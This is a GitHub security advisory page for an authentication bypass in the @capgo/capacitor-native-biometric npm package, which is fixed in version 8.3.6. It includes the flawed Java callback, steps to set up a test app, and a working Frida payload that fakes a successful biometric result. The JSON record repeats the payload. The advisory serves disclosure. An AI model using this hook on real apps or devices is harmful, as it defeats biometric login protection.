GHSA-VX5F-VMR6-32WF

Vulnerability from github – Published: 2026-02-10 14:33 – Updated: 2026-02-12 20:25
VLAI?
Summary
cap-go/capacitor-native-biometric Authentication Bypass
Details

There is a potential issue with the cap-go/capacitor-native-biometric library.


Summary

The cap-go/capacitor-native-biometric library was found to be subject to an authentication bypass as the current implementation of the onAuthenticationSucceeded() does not appear to handle a CryptoObject^HackTricks1 as seen in the following code block starting from line 88 in AuthActivity.java:

@Override
    public void onAuthenticationSucceeded(
        @NonNull BiometricPrompt.AuthenticationResult result
    ) {
        super.onAuthenticationSucceeded(result);
        finishActivity("success");
    }

As the current implementation only checks whether onAuthenticationSucceeded() was called and does not handle a CryptoObject the biometric authentication can be bypassed by hooking the onAuthenticationSucceeded() function.

PoC Video:

https://github.com/user-attachments/assets/b7b5a2bc-21dc-4373-b371-84b002dae7a7

Environment:

The following steps were taken to create and deploy a Capacitor application using the cap-go/capacitor-native-biometric library for the purpose of verifying this finding. Note at the time of writing the npx create-react-app command broke, so I have provided two ways of creating and deploying the testing environment. Apparently React updated to version 19 caused a dependency issue as seen here. If it is not fixed by the time you look at this PoC please use the yarn alternatives.

  1. Create a new Capacitor app by opening your terminal and run the following commands to create a new Capacitor app. For the sake of the disclosure I'll be using the name capgo-poc:
npx create-react-app capgo-poc --template typescript

Yarn Alternative:

npm install --global yarn
yarn create react-app capgo-poc --template typescript
  1. Install dependencies by navigating into your app's directory and run the following command to install Capacitor's core dependencies:
cd capgo-poc
npm install @capacitor/core 
npm install @capacitor/cli 
npm install @capacitor/android
npm install @capgo/capacitor-native-biometric
npm install react

Yarn Alternative:

cd capgo-poc
yarn add @capacitor/core 
yarn add @capacitor/cli 
yarn add @capacitor/android
yarn add @capgo/capacitor-native-biometric
yarn add react
  1. Initialise the project using the name capgo-poc and com.capgo.poc, and add the android platform by running the following commands:
npx cap init
npx cap add android
  1. Configure the android permissions by opening the android/app/src/main/AndroidManifest.xml file and add the necessary permissions:
<uses-permission android:name="android.permission.USE_BIOMETRIC" />
<uses-permission android:name="android.permission.USE_FINGERPRINT" />
  1. Implement Biometric Authentication, here is some basic code to use the biometric authentication feature. Modify the TSX file called App.tsx in src/ and import the following code:
import React, { useState } from 'react';
import { NativeBiometric } from '@capgo/capacitor-native-biometric';

const App = () => {
  // State to hold authentication status
  const [authStatus, setAuthStatus] = useState<string | null>(null);

  // Function to authenticate the user
  const authenticateUser = async () => {
    try {
      const result = await NativeBiometric.verifyIdentity({
        reason: 'For an application access',
        title: 'Log in',
        subtitle: '',
        description: 'Verify yourself by biometrics',
        useFallback: true,
        maxAttempts: 3,
      }).then(() => true)
        .catch(() => false);

      if (!result) {
        setAuthStatus('failed');
      } else {
        setAuthStatus('success');
      }
    } catch (error) {
      console.error('Error during biometric verification:', error);
      setAuthStatus('error');
    }
  };

  return (
    <div>
      <h1>CAP-GO Capacitor Native Biometric Authentication</h1>
      <button onClick={authenticateUser}>Authenticate with Biometrics</button>

      {/* Conditionally render based on authentication status */}
      {authStatus === 'success' && <h2>CAP-GO Capacitor Native Biometric Authentication Success</h2>}
      {authStatus === 'failed' && <h2>CAP-GO Capacitor Native Biometric Authentication Failed</h2>}
      {authStatus === 'error' && <h2>Error during authentication</h2>}
    </div>
  );
};

export default App;
  1. Build the React project, synchronise it with the Android platform, and open the native Android project in Android Studio by running the following commands:
npm run build
npx cap sync android 
npx cap open android

Yarn alternative:

yarn build
npx cap sync android 
npx cap open android

Exploitation:

For the purpose of demonstrating the vulnerability we will be using frida and a rooted emulator from android studio. Frida is a dynamic instrumentation toolkit used as part of pentesting mobile applications ^frida.

Note that a rooted emulator is not necessary, but is being used for simplicity to demonstrate the vulnerability.

  1. Copy the below frida script to a JavaScript file and run it to hook the onAuthenticationSucceeded() function, abusing the null CryptoObject. This can be done by running the following command:
frida -U -l <PAYLOAD> -n 'capgo-poc'

Payload

Java.perform(function () {
  hookBiometricPrompt();
});

function getBiometricAuthResult(resultObj, cryptoInst) {
    var authenticationResultInst = resultObj.$new(cryptoInst, 0);
    return authenticationResultInst;
};

function getBiometricPromptResult() {
    var cryptoObj = Java.use('android.hardware.biometrics.BiometricPrompt$CryptoObject');
    var cryptoInst = cryptoObj.$new(null);
    var authenticationResultObj = Java.use('android.hardware.biometrics.BiometricPrompt$AuthenticationResult');
    var authenticationResultInst = getBiometricAuthResult(authenticationResultObj, cryptoInst);
    return authenticationResultInst
};

function hookBiometricPrompt() {
    var biometricPrompt = Java.use('android.hardware.biometrics.BiometricPrompt')['authenticate'].overload('android.os.CancellationSignal', 'java.util.concurrent.Executor', 'android.hardware.biometrics.BiometricPrompt$AuthenticationCallback');
    console.log("Hooking BiometricPrompt.authenticate()...");
    biometricPrompt.implementation = function (cancellationSignal, executor, callback) {
        var authenticationResultInst = getBiometricPromptResult();
        callback.onAuthenticationSucceeded(authenticationResultInst);
    }
};
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@capgo/capacitor-native-biometric"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "8.3.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-10T14:33:50Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "There is a potential issue with the [cap-go/capacitor-native-biometric](https://github.com/Cap-go/capacitor-native-biometric) library. \n\n---\n\n## Summary\n\nThe [cap-go/capacitor-native-biometric](https://github.com/Cap-go/capacitor-native-biometric) library was found to be subject to an authentication bypass as the current implementation of the `onAuthenticationSucceeded()` does not appear to handle a `CryptoObject`[^HackTricks1] [^SecuringBiometricAuthentication] as seen in the following code block starting from [line 88 in AuthActivity.java](https://github.com/Cap-go/capacitor-native-biometric/blob/main/android/src/main/java/ee/forgr/biometric/AuthActivity.java#L88):\n\n```java\n@Override\n    public void onAuthenticationSucceeded(\n        @NonNull BiometricPrompt.AuthenticationResult result\n    ) {\n        super.onAuthenticationSucceeded(result);\n        finishActivity(\"success\");\n    }\n```\n\nAs the current implementation only checks whether `onAuthenticationSucceeded()` was called and does not handle a `CryptoObject` the biometric authentication can be bypassed by hooking the `onAuthenticationSucceeded()` function. \n\n## PoC Video:\n\nhttps://github.com/user-attachments/assets/b7b5a2bc-21dc-4373-b371-84b002dae7a7\n\n## Environment:\n\nThe following steps were taken to create and deploy a Capacitor application using the `cap-go/capacitor-native-biometric library` for the purpose of verifying this finding. Note at the time of writing the `npx create-react-app` command broke, so I have provided two ways of creating and deploying the testing environment. Apparently React updated to version 19 caused a dependency issue as seen [here](https://github.com/facebook/create-react-app/issues/13715). If it is not fixed by the time you look at this PoC please use the yarn alternatives. \n\n1. Create a new Capacitor app by opening your terminal and run the following commands to create a new Capacitor app. For the sake of the disclosure I\u0027ll be using the name `capgo-poc`: \n\n```sh\nnpx create-react-app capgo-poc --template typescript\n```\n\nYarn Alternative:\n\n```sh\nnpm install --global yarn\nyarn create react-app capgo-poc --template typescript\n```\n\n2. Install dependencies by navigating into your app\u0027s directory and run the following command to install Capacitor\u0027s core dependencies:\n\n```sh\ncd capgo-poc\nnpm install @capacitor/core \nnpm install @capacitor/cli \nnpm install @capacitor/android\nnpm install @capgo/capacitor-native-biometric\nnpm install react\n```\n\nYarn Alternative:\n\n```sh\ncd capgo-poc\nyarn add @capacitor/core \nyarn add @capacitor/cli \nyarn add @capacitor/android\nyarn add @capgo/capacitor-native-biometric\nyarn add react\n```\n\n3. Initialise the project using the name `capgo-poc` and `com.capgo.poc`, and add the android platform by running the following commands:\n\n```sh\nnpx cap init\nnpx cap add android\n```\n\n4. Configure the android permissions by opening the `android/app/src/main/AndroidManifest.xml` file and add the necessary permissions:\n\n```xml\n\u003cuses-permission android:name=\"android.permission.USE_BIOMETRIC\" /\u003e\n\u003cuses-permission android:name=\"android.permission.USE_FINGERPRINT\" /\u003e\n```\n\n5. Implement Biometric Authentication, here is some basic code to use the biometric authentication feature. Modify the TSX file called `App.tsx` in `src/` and import the following code:\n\n```js\nimport React, { useState } from \u0027react\u0027;\nimport { NativeBiometric } from \u0027@capgo/capacitor-native-biometric\u0027;\n\nconst App = () =\u003e {\n  // State to hold authentication status\n  const [authStatus, setAuthStatus] = useState\u003cstring | null\u003e(null);\n\n  // Function to authenticate the user\n  const authenticateUser = async () =\u003e {\n    try {\n      const result = await NativeBiometric.verifyIdentity({\n        reason: \u0027For an application access\u0027,\n        title: \u0027Log in\u0027,\n        subtitle: \u0027\u0027,\n        description: \u0027Verify yourself by biometrics\u0027,\n        useFallback: true,\n        maxAttempts: 3,\n      }).then(() =\u003e true)\n        .catch(() =\u003e false);\n\n      if (!result) {\n        setAuthStatus(\u0027failed\u0027);\n      } else {\n        setAuthStatus(\u0027success\u0027);\n      }\n    } catch (error) {\n      console.error(\u0027Error during biometric verification:\u0027, error);\n      setAuthStatus(\u0027error\u0027);\n    }\n  };\n\n  return (\n    \u003cdiv\u003e\n      \u003ch1\u003eCAP-GO Capacitor Native Biometric Authentication\u003c/h1\u003e\n      \u003cbutton onClick={authenticateUser}\u003eAuthenticate with Biometrics\u003c/button\u003e\n\n      {/* Conditionally render based on authentication status */}\n      {authStatus === \u0027success\u0027 \u0026\u0026 \u003ch2\u003eCAP-GO Capacitor Native Biometric Authentication Success\u003c/h2\u003e}\n      {authStatus === \u0027failed\u0027 \u0026\u0026 \u003ch2\u003eCAP-GO Capacitor Native Biometric Authentication Failed\u003c/h2\u003e}\n      {authStatus === \u0027error\u0027 \u0026\u0026 \u003ch2\u003eError during authentication\u003c/h2\u003e}\n    \u003c/div\u003e\n  );\n};\n\nexport default App;\n```\n\n6. Build the React project, synchronise it with the Android platform, and open the native Android project in Android Studio by running the following commands:\n\n```sh\nnpm run build\nnpx cap sync android \nnpx cap open android\n```\n\nYarn alternative:\n\n```sh\nyarn build\nnpx cap sync android \nnpx cap open android\n```\n\n## Exploitation:\n\nFor the purpose of demonstrating the vulnerability we will be using frida and a rooted emulator from android studio. Frida is a dynamic instrumentation toolkit used as part of pentesting mobile applications [^frida]. \n\nNote that a rooted emulator is not necessary, but is being used for simplicity to demonstrate the vulnerability. \n\n1. Copy the below frida script to a JavaScript file and run it to hook the `onAuthenticationSucceeded()` function, abusing the `null CryptoObject`. This can be done by running the following command:\n\n```sh\nfrida -U -l \u003cPAYLOAD\u003e -n \u0027capgo-poc\u0027\n```\n\n### Payload\n```js\nJava.perform(function () {\n  hookBiometricPrompt();\n});\n\nfunction getBiometricAuthResult(resultObj, cryptoInst) {\n    var authenticationResultInst = resultObj.$new(cryptoInst, 0);\n    return authenticationResultInst;\n};\n\nfunction getBiometricPromptResult() {\n    var cryptoObj = Java.use(\u0027android.hardware.biometrics.BiometricPrompt$CryptoObject\u0027);\n    var cryptoInst = cryptoObj.$new(null);\n    var authenticationResultObj = Java.use(\u0027android.hardware.biometrics.BiometricPrompt$AuthenticationResult\u0027);\n    var authenticationResultInst = getBiometricAuthResult(authenticationResultObj, cryptoInst);\n    return authenticationResultInst\n};\n\nfunction hookBiometricPrompt() {\n    var biometricPrompt = Java.use(\u0027android.hardware.biometrics.BiometricPrompt\u0027)[\u0027authenticate\u0027].overload(\u0027android.os.CancellationSignal\u0027, \u0027java.util.concurrent.Executor\u0027, \u0027android.hardware.biometrics.BiometricPrompt$AuthenticationCallback\u0027);\n    console.log(\"Hooking BiometricPrompt.authenticate()...\");\n    biometricPrompt.implementation = function (cancellationSignal, executor, callback) {\n        var authenticationResultInst = getBiometricPromptResult();\n        callback.onAuthenticationSucceeded(authenticationResultInst);\n    }\n};\n```\n\n[^SecuringBiometricAuthentication]: https://www.kayssel.com/post/android-8/\n[^HackTricks1]: https://book.hacktricks.xyz/mobile-pentesting/android-app-pentesting/bypass-biometric-authentication-android#method-1-bypassing-with-no-crypto-object-usage\n[^frida]: https://frida.re/",
  "id": "GHSA-vx5f-vmr6-32wf",
  "modified": "2026-02-12T20:25:16Z",
  "published": "2026-02-10T14:33:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Cap-go/capgo/security/advisories/GHSA-vx5f-vmr6-32wf"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Cap-go/capacitor-native-biometric/commit/1254602e942f8216e6258f646f0866d8e69c48a5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Cap-go/capgo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:P/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "cap-go/capacitor-native-biometric Authentication Bypass"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…